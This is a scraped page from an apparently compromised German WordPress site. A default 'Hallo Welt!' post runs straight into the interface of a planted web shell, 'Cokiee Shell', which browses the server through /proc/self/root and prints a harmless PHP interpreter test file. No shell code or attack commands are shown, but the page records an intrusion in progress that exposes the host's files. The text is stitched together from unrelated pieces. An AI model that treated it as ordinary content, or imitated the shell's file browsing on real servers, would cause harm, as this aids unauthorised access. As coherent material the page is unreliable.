Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/try/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/try/try_finally_022.phpt |
--TEST-- Try finally (exception in "return" statement) --FILE-- <?php class A { public $x = 1; public $y = 2; function __destruct() { throw new Exception(); } } try{ $a = 0; switch ($a) { case 0: } switch ($a) { case 0: } switch ($a) { case 0: } foreach([new stdClass()] as $x) { foreach(new A() as $a) { foreach([new stdClass()] as $y) { try { if (0) { echo "0" . (int)5; } return $a; } catch (Exception $e) { echo "exception1\n"; } } } } } catch (Exception $e) { echo "exception2\n"; } ?> --EXPECT-- exception2
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare